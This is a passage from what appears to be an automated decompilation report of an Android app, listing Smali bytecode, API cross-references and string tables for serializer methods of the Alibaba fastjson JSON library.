                                                256aput-object v0, v6, v3
                                                258invoke-static {v4, v6}, Ljava/lang/String;->format(Ljava/lang/String;[Ljava/lang/Object;)Ljava/lang/String;
                                                259move-result-object v0
                                                261invoke-virtual {v5, v0}, Lcom/alibaba/fastjson/serializer/SerializeWriter;->append(Ljava/lang/CharSequence;)Lcom/alibaba/fastjson/serializer/SerializeWriter;
                                                262goto/16 :goto_184
                                                263cond_16d: const/4 v6, 0x1
                                                264const/16 v5, 0x2d
                                                266invoke-virtual {v2, v5}, Lcom/alibaba/fastjson/serializer/SerializeWriter;->append(C)Lcom/alibaba/fastjson/serializer/SerializeWriter;
                                                267move-result-object v5
                                                268new-array v6, v6, [Ljava/lang/Object;
                                                269neg-int v0, v0
                                                271invoke-static {v0}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
                                                272move-result-object v0
                                                273aput-object v0, v6, v3
                                                275invoke-static {v4, v6}, Ljava/lang/String;->format(Ljava/lang/String;[Ljava/lang/Object;)Ljava/lang/String;
                                                276move-result-object v0
                                                278invoke-virtual {v5, v0}, Lcom/alibaba/fastjson/serializer/SerializeWriter;->append(Ljava/lang/CharSequence;)Lcom/alibaba/fastjson/serializer/SerializeWriter;
                                                279goto_184:
                                                280const-string v0, ":00"
                                                282invoke-virtual {v2, v0}, Lcom/alibaba/fastjson/serializer/SerializeWriter;->append(Ljava/lang/CharSequence;)Lcom/alibaba/fastjson/serializer/SerializeWriter;
                                                283goto_189:
                                                284invoke-virtual {v2, v1}, Lcom/alibaba/fastjson/serializer/SerializeWriter;->write(I)V
                                                285goto/16 :goto_190
                                                286cond_18d:
                                                287invoke-virtual {v2, v3, v4}, Lcom/alibaba/fastjson/serializer/SerializeWriter;->writeLong(J)V
                                                288goto_190: return-void
                                                Cross References
                                                APIs
                                                • java.lang.Class.isPrimitive
                                                • java.lang.Integer.valueOf
                                                • java.lang.StringBuilder.<init>
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.toString
                                                • java.lang.Byte.TYPE:Ljava/lang/Class
                                                • java.lang.Short.TYPE:Ljava/lang/Class
                                                • java.lang.Integer.TYPE:Ljava/lang/Class
                                                • java.lang.Character.TYPE:Ljava/lang/Class
                                                • java.lang.Long.TYPE:Ljava/lang/Class
                                                • java.lang.Float.TYPE:Ljava/lang/Class
                                                • java.lang.Double.TYPE:Ljava/lang/Class
                                                • java.lang.Boolean.TYPE:Ljava/lang/Class
                                                • java.lang.Class.isEnum
                                                • java.lang.Class.isAssignableFrom
                                                • java.lang.StringBuilder.<init>
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.toString
                                                Strings
                                                • checkValue
                                                • (I)
                                                • getBeanContext
                                                • valueOf
                                                • byte
                                                • java/lang/Byte
                                                • (B)Ljava/lang/Byte;
                                                • short
                                                • java/lang/Short
                                                • (S)Ljava/lang/Short;
                                                • int
                                                • java/lang/Integer
                                                • (I)Ljava/lang/Integer;
                                                • char
                                                • java/lang/Character
                                                • (C)Ljava/lang/Character;
                                                • long
                                                • java/lang/Long
                                                • (J)Ljava/lang/Long;
                                                • float
                                                • java/lang/Float
                                                • (F)Ljava/lang/Float;
                                                • double
                                                • java/lang/Double
                                                • (D)Ljava/lang/Double;
                                                • boolean
                                                • java/lang/Boolean
                                                • (Z)Ljava/lang/Boolean;
                                                • decimal
                                                • string
                                                • enum
                                                • list
                                                • object
                                                • (L
                                                • ;
                                                • Ljava/lang/Object;Ljava/lang/String;
                                                • Ljava/lang/Object;
                                                • )Ljava/lang/Object;
                                                • processValue
                                                Position Instruction Meta Information
                                                0move-object/from16 v0, p1
                                                1move-object/from16 v1, p2
                                                2move-object/from16 v2, p3
                                                3new-instance v3, Lcom/alibaba/fastjson/asm/Label;
                                                5invoke-direct {v3}, Lcom/alibaba/fastjson/asm/Label;-><init>()V
                                                7iget-object v4, v1, Lcom/alibaba/fastjson/util/FieldInfo;->fieldClass:Ljava/lang/Class;
                                                9invoke-virtual {v4}, Ljava/lang/Class;->isPrimitive()Z
                                                10move-result v5
                                                11const/16 v6, 0xa7
                                                12const/4 v7, 0x1
                                                13const/16 v8, 0x15
                                                14const/16 v9, 0x59
                                                15const/16 v10, 0x3a
                                                16if-eqz v5, :cond_45
                                                17new-instance v5, Lcom/alibaba/fastjson/asm/Label;
                                                19invoke-direct {v5}, Lcom/alibaba/fastjson/asm/Label;-><init>()V
                                                21const-string v11, "checkValue"
                                                23invoke-virtual {v2, v11}, Lcom/alibaba/fastjson/serializer/ASMSerializerFactory$Context;->var(Ljava/lang/String;)I
                                                24move-result v11
                                                26invoke-interface {v0, v8, v11}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                27const/16 v11, 0x9a
                                                29invoke-interface {v0, v11, v5}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitJumpInsn(ILcom/alibaba/fastjson/asm/Label;)V
                                                31invoke-interface {v0, v7}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitInsn(I)V
                                                33invoke-interface {v0, v9}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitInsn(I)V
                                                34sget v11, Lcom/alibaba/fastjson/serializer/ASMSerializerFactory$Context;->original:I
                                                36invoke-interface {v0, v10, v11}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                37sget v11, Lcom/alibaba/fastjson/serializer/ASMSerializerFactory$Context;->processValue:I
                                                39invoke-interface {v0, v10, v11}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                41invoke-interface {v0, v6, v3}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitJumpInsn(ILcom/alibaba/fastjson/asm/Label;)V
                                                43invoke-interface {v0, v5}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitLabel(Lcom/alibaba/fastjson/asm/Label;)V
                                                44cond_45: const/4 v5, 0x0
                                                45const/16 v11, 0x19
                                                47invoke-interface {v0, v11, v5}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                49invoke-interface {v0, v11, v7}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                51invoke-interface {v0, v11, v5}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                53iget-object v5, v1, Lcom/alibaba/fastjson/util/FieldInfo;->name:Ljava/lang/String;
                                                55invoke-virtual {v2, v5}, Lcom/alibaba/fastjson/serializer/ASMSerializerFactory$Context;->getFieldOrinal(Ljava/lang/String;)I
                                                56move-result v5
                                                58invoke-static {v5}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
                                                59move-result-object v5
                                                61invoke-interface {v0, v5}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitLdcInsn(Ljava/lang/Object;)V
                                                63sget-object v5, Lcom/alibaba/fastjson/serializer/ASMSerializerFactory;->JavaBeanSerializer:Ljava/lang/String;
                                                64new-instance v7, Ljava/lang/StringBuilder;
                                                66invoke-direct {v7}, Ljava/lang/StringBuilder;-><init>()V
                                                68const-string v12, "(I)"
                                                70invoke-virtual {v7, v12}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                71const-class v12, Lcom/alibaba/fastjson/serializer/BeanContext;
                                                73invoke-static {v12}, Lcom/alibaba/fastjson/util/ASMUtils;->desc(Ljava/lang/Class;)Ljava/lang/String;
                                                74move-result-object v12
                                                76invoke-virtual {v7, v12}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                78invoke-virtual {v7}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                                79move-result-object v7
                                                80const/16 v12, 0xb6
                                                82const-string v13, "getBeanContext"
                                                84invoke-interface {v0, v12, v5, v13, v7}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitMethodInsn(ILjava/lang/String;Ljava/lang/String;Ljava/lang/String;)V
                                                85const/4 v5, 0x2
                                                87invoke-interface {v0, v11, v5}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                88sget v7, Lcom/alibaba/fastjson/serializer/ASMSerializerFactory$Context;->fieldName:I
                                                90invoke-interface {v0, v11, v7}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                92sget-object v7, Ljava/lang/Byte;->TYPE:Ljava/lang/Class;
                                                94const-string v13, "valueOf"
                                                95const/16 v14, 0xb8
                                                96if-ne v4, v7, :cond_a9
                                                98const-string v4, "byte"
                                                100invoke-virtual {v2, v4}, Lcom/alibaba/fastjson/serializer/ASMSerializerFactory$Context;->var(Ljava/lang/String;)I
                                                101move-result v4
                                                103invoke-interface {v0, v8, v4}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                105const-string v4, "java/lang/Byte"
                                                107const-string v5, "(B)Ljava/lang/Byte;"
                                                109invoke-interface {v0, v14, v4, v13, v5}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitMethodInsn(ILjava/lang/String;Ljava/lang/String;Ljava/lang/String;)V
                                                111invoke-interface {v0, v9}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitInsn(I)V
                                                112sget v4, Lcom/alibaba/fastjson/serializer/ASMSerializerFactory$Context;->original:I
                                                114invoke-interface {v0, v10, v4}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                115goto/16 :goto_1fa
                                                116cond_a9:
                                                117sget-object v7, Ljava/lang/Short;->TYPE:Ljava/lang/Class;
                                                118if-ne v4, v7, :cond_c7
                                                120const-string v4, "short"
                                                122invoke-virtual {v2, v4}, Lcom/alibaba/fastjson/serializer/ASMSerializerFactory$Context;->var(Ljava/lang/String;)I
                                                123move-result v4
                                                125invoke-interface {v0, v8, v4}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                127const-string v4, "java/lang/Short"
                                                129const-string v5, "(S)Ljava/lang/Short;"
                                                131invoke-interface {v0, v14, v4, v13, v5}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitMethodInsn(ILjava/lang/String;Ljava/lang/String;Ljava/lang/String;)V
                                                133invoke-interface {v0, v9}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitInsn(I)V
                                                134sget v4, Lcom/alibaba/fastjson/serializer/ASMSerializerFactory$Context;->original:I
                                                136invoke-interface {v0, v10, v4}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                137goto/16 :goto_1fa
                                                138cond_c7:
                                                139sget-object v7, Ljava/lang/Integer;->TYPE:Ljava/lang/Class;
                                                140if-ne v4, v7, :cond_e5
                                                142const-string v4, "int"
                                                144invoke-virtual {v2, v4}, Lcom/alibaba/fastjson/serializer/ASMSerializerFactory$Context;->var(Ljava/lang/String;)I
                                                145move-result v4
                                                147invoke-interface {v0, v8, v4}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                149const-string v4, "java/lang/Integer"
                                                151const-string v5, "(I)Ljava/lang/Integer;"
                                                153invoke-interface {v0, v14, v4, v13, v5}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitMethodInsn(ILjava/lang/String;Ljava/lang/String;Ljava/lang/String;)V
                                                155invoke-interface {v0, v9}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitInsn(I)V
                                                156sget v4, Lcom/alibaba/fastjson/serializer/ASMSerializerFactory$Context;->original:I
                                                158invoke-interface {v0, v10, v4}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                159goto/16 :goto_1fa
                                                160cond_e5:
                                                161sget-object v7, Ljava/lang/Character;->TYPE:Ljava/lang/Class;
                                                162if-ne v4, v7, :cond_103
                                                164const-string v4, "char"
                                                166invoke-virtual {v2, v4}, Lcom/alibaba/fastjson/serializer/ASMSerializerFactory$Context;->var(Ljava/lang/String;)I
                                                167move-result v4
                                                169invoke-interface {v0, v8, v4}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                171const-string v4, "java/lang/Character"
                                                173const-string v5, "(C)Ljava/lang/Character;"
                                                175invoke-interface {v0, v14, v4, v13, v5}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitMethodInsn(ILjava/lang/String;Ljava/lang/String;Ljava/lang/String;)V
                                                177invoke-interface {v0, v9}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitInsn(I)V
                                                178sget v4, Lcom/alibaba/fastjson/serializer/ASMSerializerFactory$Context;->original:I
                                                180invoke-interface {v0, v10, v4}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                181goto/16 :goto_1fa
                                                182cond_103:
                                                183sget-object v7, Ljava/lang/Long;->TYPE:Ljava/lang/Class;
                                                184if-ne v4, v7, :cond_123
                                                185const/16 v4, 0x16
                                                187const-string v7, "long"
                                                189invoke-virtual {v2, v7, v5}, Lcom/alibaba/fastjson/serializer/ASMSerializerFactory$Context;->var(Ljava/lang/String;I)I
                                                190move-result v5
                                                192invoke-interface {v0, v4, v5}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                194const-string v4, "java/lang/Long"
                                                196const-string v5, "(J)Ljava/lang/Long;"
                                                198invoke-interface {v0, v14, v4, v13, v5}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitMethodInsn(ILjava/lang/String;Ljava/lang/String;Ljava/lang/String;)V
                                                200invoke-interface {v0, v9}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitInsn(I)V
                                                201sget v4, Lcom/alibaba/fastjson/serializer/ASMSerializerFactory$Context;->original:I
                                                203invoke-interface {v0, v10, v4}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                204goto/16 :goto_1fa
                                                205cond_123:
                                                206sget-object v7, Ljava/lang/Float;->TYPE:Ljava/lang/Class;
                                                207if-ne v4, v7, :cond_143
                                                208const/16 v4, 0x17
                                                210const-string v5, "float"
                                                212invoke-virtual {v2, v5}, Lcom/alibaba/fastjson/serializer/ASMSerializerFactory$Context;->var(Ljava/lang/String;)I
                                                213move-result v5
                                                215invoke-interface {v0, v4, v5}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                217const-string v4, "java/lang/Float"
                                                219const-string v5, "(F)Ljava/lang/Float;"
                                                221invoke-interface {v0, v14, v4, v13, v5}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitMethodInsn(ILjava/lang/String;Ljava/lang/String;Ljava/lang/String;)V
                                                223invoke-interface {v0, v9}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitInsn(I)V
                                                224sget v4, Lcom/alibaba/fastjson/serializer/ASMSerializerFactory$Context;->original:I
                                                226invoke-interface {v0, v10, v4}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                227goto/16 :goto_1fa
                                                228cond_143:
                                                229sget-object v7, Ljava/lang/Double;->TYPE:Ljava/lang/Class;
                                                230if-ne v4, v7, :cond_163
                                                231const/16 v4, 0x18
                                                233const-string v7, "double"
                                                235invoke-virtual {v2, v7, v5}, Lcom/alibaba/fastjson/serializer/ASMSerializerFactory$Context;->var(Ljava/lang/String;I)I
                                                236move-result v5
                                                238invoke-interface {v0, v4, v5}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                240const-string v4, "java/lang/Double"
                                                242const-string v5, "(D)Ljava/lang/Double;"
                                                244invoke-interface {v0, v14, v4, v13, v5}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitMethodInsn(ILjava/lang/String;Ljava/lang/String;Ljava/lang/String;)V
                                                246invoke-interface {v0, v9}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitInsn(I)V
                                                247sget v4, Lcom/alibaba/fastjson/serializer/ASMSerializerFactory$Context;->original:I
                                                249invoke-interface {v0, v10, v4}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                250goto/16 :goto_1fa
                                                251cond_163:
                                                252sget-object v5, Ljava/lang/Boolean;->TYPE:Ljava/lang/Class;
                                                253if-ne v4, v5, :cond_181
                                                255const-string v4, "boolean"
                                                257invoke-virtual {v2, v4}, Lcom/alibaba/fastjson/serializer/ASMSerializerFactory$Context;->var(Ljava/lang/String;)I
                                                258move-result v4
                                                260invoke-interface {v0, v8, v4}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                262const-string v4, "java/lang/Boolean"
                                                264const-string v5, "(Z)Ljava/lang/Boolean;"
                                                266invoke-interface {v0, v14, v4, v13, v5}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitMethodInsn(ILjava/lang/String;Ljava/lang/String;Ljava/lang/String;)V
                                                268invoke-interface {v0, v9}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitInsn(I)V
                                                269sget v4, Lcom/alibaba/fastjson/serializer/ASMSerializerFactory$Context;->original:I
                                                271invoke-interface {v0, v10, v4}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                272goto/16 :goto_1fa
                                                273cond_181: const-class v5, Ljava/math/BigDecimal;
                                                274if-ne v4, v5, :cond_199
                                                276const-string v4, "decimal"
                                                278invoke-virtual {v2, v4}, Lcom/alibaba/fastjson/serializer/ASMSerializerFactory$Context;->var(Ljava/lang/String;)I
                                                279move-result v4
                                                281invoke-interface {v0, v11, v4}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                282sget v4, Lcom/alibaba/fastjson/serializer/ASMSerializerFactory$Context;->original:I
                                                284invoke-interface {v0, v10, v4}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                285sget v4, Lcom/alibaba/fastjson/serializer/ASMSerializerFactory$Context;->original:I
                                                287invoke-interface {v0, v11, v4}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                288goto/16 :goto_1fa
                                                289cond_199: const-class v5, Ljava/lang/String;
                                                290if-ne v4, v5, :cond_1b1
                                                292const-string v4, "string"
                                                294invoke-virtual {v2, v4}, Lcom/alibaba/fastjson/serializer/ASMSerializerFactory$Context;->var(Ljava/lang/String;)I
                                                295move-result v4
                                                297invoke-interface {v0, v11, v4}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                298sget v4, Lcom/alibaba/fastjson/serializer/ASMSerializerFactory$Context;->original:I
                                                300invoke-interface {v0, v10, v4}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                301sget v4, Lcom/alibaba/fastjson/serializer/ASMSerializerFactory$Context;->original:I
                                                303invoke-interface {v0, v11, v4}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                304goto/16 :goto_1fa
                                                305cond_1b1:
                                                306invoke-virtual {v4}, Ljava/lang/Class;->isEnum()Z
                                                307move-result v5
                                                308if-eqz v5, :cond_1cb
                                                310const-string v4, "enum"
                                                312invoke-virtual {v2, v4}, Lcom/alibaba/fastjson/serializer/ASMSerializerFactory$Context;->var(Ljava/lang/String;)I
                                                313move-result v4
                                                315invoke-interface {v0, v11, v4}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                316sget v4, Lcom/alibaba/fastjson/serializer/ASMSerializerFactory$Context;->original:I
                                                318invoke-interface {v0, v10, v4}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                319sget v4, Lcom/alibaba/fastjson/serializer/ASMSerializerFactory$Context;->original:I
                                                321invoke-interface {v0, v11, v4}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                322goto/16 :goto_1fa
                                                323cond_1cb: const-class v5, Ljava/util/List;
                                                325invoke-virtual {v5, v4}, Ljava/lang/Class;->isAssignableFrom(Ljava/lang/Class;)Z
                                                326move-result v4
                                                327if-eqz v4, :cond_1e7
                                                329const-string v4, "list"
                                                331invoke-virtual {v2, v4}, Lcom/alibaba/fastjson/serializer/ASMSerializerFactory$Context;->var(Ljava/lang/String;)I
                                                332move-result v4
                                                334invoke-interface {v0, v11, v4}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                335sget v4, Lcom/alibaba/fastjson/serializer/ASMSerializerFactory$Context;->original:I
                                                337invoke-interface {v0, v10, v4}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                338sget v4, Lcom/alibaba/fastjson/serializer/ASMSerializerFactory$Context;->original:I
                                                340invoke-interface {v0, v11, v4}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                341goto/16 :goto_1fa
                                                342cond_1e7:
                                                343const-string v4, "object"
                                                345invoke-virtual {v2, v4}, Lcom/alibaba/fastjson/serializer/ASMSerializerFactory$Context;->var(Ljava/lang/String;)I
                                                346move-result v4
                                                348invoke-interface {v0, v11, v4}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                349sget v4, Lcom/alibaba/fastjson/serializer/ASMSerializerFactory$Context;->original:I
                                                351invoke-interface {v0, v10, v4}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                352sget v4, Lcom/alibaba/fastjson/serializer/ASMSerializerFactory$Context;->original:I
                                                354invoke-interface {v0, v11, v4}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                355goto_1fa:
                                                356sget-object v4, Lcom/alibaba/fastjson/serializer/ASMSerializerFactory;->JavaBeanSerializer:Ljava/lang/String;
                                                357new-instance v5, Ljava/lang/StringBuilder;
                                                359invoke-direct {v5}, Ljava/lang/StringBuilder;-><init>()V
                                                361const-string v7, "(L"
                                                363invoke-virtual {v5, v7}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                365sget-object v7, Lcom/alibaba/fastjson/serializer/ASMSerializerFactory;->JSONSerializer:Ljava/lang/String;
                                                367invoke-virtual {v5, v7}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                369const-string v7, ";"
                                                371invoke-virtual {v5, v7}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                372const-class v7, Lcom/alibaba/fastjson/serializer/BeanContext;
                                                374invoke-static {v7}, Lcom/alibaba/fastjson/util/ASMUtils;->desc(Ljava/lang/Class;)Ljava/lang/String;
                                                375move-result-object v7
                                                377invoke-virtual {v5, v7}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                379const-string v7, "Ljava/lang/Object;Ljava/lang/String;"
                                                381invoke-virtual {v5, v7}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                383const-string v7, "Ljava/lang/Object;"
                                                385invoke-virtual {v5, v7}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                387const-string v7, ")Ljava/lang/Object;"
                                                389invoke-virtual {v5, v7}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                391invoke-virtual {v5}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                                392move-result-object v5
                                                394const-string v7, "processValue"
                                                396invoke-interface {v0, v12, v4, v7, v5}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitMethodInsn(ILjava/lang/String;Ljava/lang/String;Ljava/lang/String;)V
                                                397sget v4, Lcom/alibaba/fastjson/serializer/ASMSerializerFactory$Context;->processValue:I
                                                399invoke-interface {v0, v10, v4}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                400sget v4, Lcom/alibaba/fastjson/serializer/ASMSerializerFactory$Context;->original:I
                                                402invoke-interface {v0, v11, v4}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                403sget v4, Lcom/alibaba/fastjson/serializer/ASMSerializerFactory$Context;->processValue:I
                                                405invoke-interface {v0, v11, v4}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                406const/16 v4, 0xa5
                                                408invoke-interface {v0, v4, v3}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitJumpInsn(ILcom/alibaba/fastjson/asm/Label;)V
                                                410invoke-direct/range {p0 .. p4}, Lcom/alibaba/fastjson/serializer/ASMSerializerFactory;->_writeObject(Lcom/alibaba/fastjson/asm/MethodVisitor;Lcom/alibaba/fastjson/util/FieldInfo;Lcom/alibaba/fastjson/serializer/ASMSerializerFactory$Context;Lcom/alibaba/fastjson/asm/Label;)V
                                                411move-object/from16 v1, p4
                                                413invoke-interface {v0, v6, v1}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitJumpInsn(ILcom/alibaba/fastjson/asm/Label;)V
                                                415invoke-interface {v0, v3}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitLabel(Lcom/alibaba/fastjson/asm/Label;)V
                                                416return-void
                                                Cross References
                                                APIs
                                                • java.util.Map.containsKey
                                                • java.util.Map.put
                                                • java.util.Map.entrySet
                                                • java.util.Set.iterator
                                                • java.util.Iterator.hasNext
                                                • java.util.Iterator.next
                                                • java.util.Map$Entry.getKey
                                                • java.lang.String.equals
                                                • java.lang.StringBuilder.<init>
                                                • java.lang.StringBuilder.<init>
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.toString
                                                • java.util.Map$Entry.getValue
                                                • java.util.Collection.iterator
                                                • java.util.Iterator.hasNext
                                                • java.util.Iterator.next
                                                • java.lang.String.equals
                                                • java.lang.StringBuilder.<init>
                                                • java.lang.StringBuilder.<init>
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.toString
                                                • java.lang.Object.getClass
                                                • java.lang.Class.isArray
                                                • java.lang.reflect.Array.getLength
                                                • java.lang.reflect.Array.get
                                                • java.lang.String.equals
                                                • java.lang.StringBuilder.<init>
                                                • java.lang.StringBuilder.<init>
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.toString
                                                • java.lang.Class.isEnum
                                                • java.util.Map.entrySet
                                                • java.util.Set.iterator
                                                • java.util.Iterator.hasNext
                                                • java.util.Iterator.next
                                                • java.util.Map$Entry.getKey
                                                • java.lang.String.equals
                                                • java.lang.StringBuilder.<init>
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.toString
                                                • java.lang.StringBuilder.<init>
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.append
                                                • java.util.Map$Entry.getValue
                                                • com.alibaba.fastjson.JSONException.<init>
                                                Strings
                                                • /
                                                • toJSON error
                                                Position Instruction Meta Information
                                                0.annotation system Ldalvik/annotation/Signature;
                                                1value = {
                                                2"(",
                                                3"Ljava/util/Map<",
                                                4"Ljava/lang/Object;",
                                                5"Ljava/lang/String;",
                                                6">;",
                                                7"Ljava/lang/String;",
                                                8"Ljava/lang/Object;",
                                                9"Lcom/alibaba/fastjson/serializer/SerializeConfig;",
                                                10")V"
                                                11}
                                                12.end annotation
                                                13if-nez p2, :cond_3
                                                14return-void
                                                15cond_3:
                                                16invoke-interface {p0, p2}, Ljava/util/Map;->containsKey(Ljava/lang/Object;)Z
                                                17move-result v0
                                                18if-eqz v0, :cond_a
                                                19return-void
                                                20cond_a:
                                                21invoke-interface {p0, p2, p1}, Ljava/util/Map;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
                                                22instance-of v0, p2, Ljava/util/Map;
                                                24const-string v1, "/"
                                                25if-eqz v0, :cond_58
                                                26check-cast p2, Ljava/util/Map;
                                                28invoke-interface {p2}, Ljava/util/Map;->entrySet()Ljava/util/Set;
                                                29move-result-object p2
                                                31invoke-interface {p2}, Ljava/util/Set;->iterator()Ljava/util/Iterator;
                                                32move-result-object p2
                                                33cond_1d:
                                                34invoke-interface {p2}, Ljava/util/Iterator;->hasNext()Z
                                                35move-result v0
                                                36if-eqz v0, :cond_57
                                                38invoke-interface {p2}, Ljava/util/Iterator;->next()Ljava/lang/Object;
                                                39move-result-object v0
                                                40check-cast v0, Ljava/util/Map$Entry;
                                                42invoke-interface {v0}, Ljava/util/Map$Entry;->getKey()Ljava/lang/Object;
                                                43move-result-object v2
                                                44instance-of v3, v2, Ljava/lang/String;
                                                45if-eqz v3, :cond_1d
                                                47invoke-virtual {p1, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                                                48move-result v3
                                                49if-eqz v3, :cond_3d
                                                50new-instance v3, Ljava/lang/StringBuilder;
                                                52invoke-direct {v3}, Ljava/lang/StringBuilder;-><init>()V
                                                53goto/16 :goto_45
                                                54cond_3d: new-instance v3, Ljava/lang/StringBuilder;
                                                56invoke-direct {v3}, Ljava/lang/StringBuilder;-><init>()V
                                                58invoke-virtual {v3, p1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                59goto_45:
                                                60invoke-virtual {v3, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
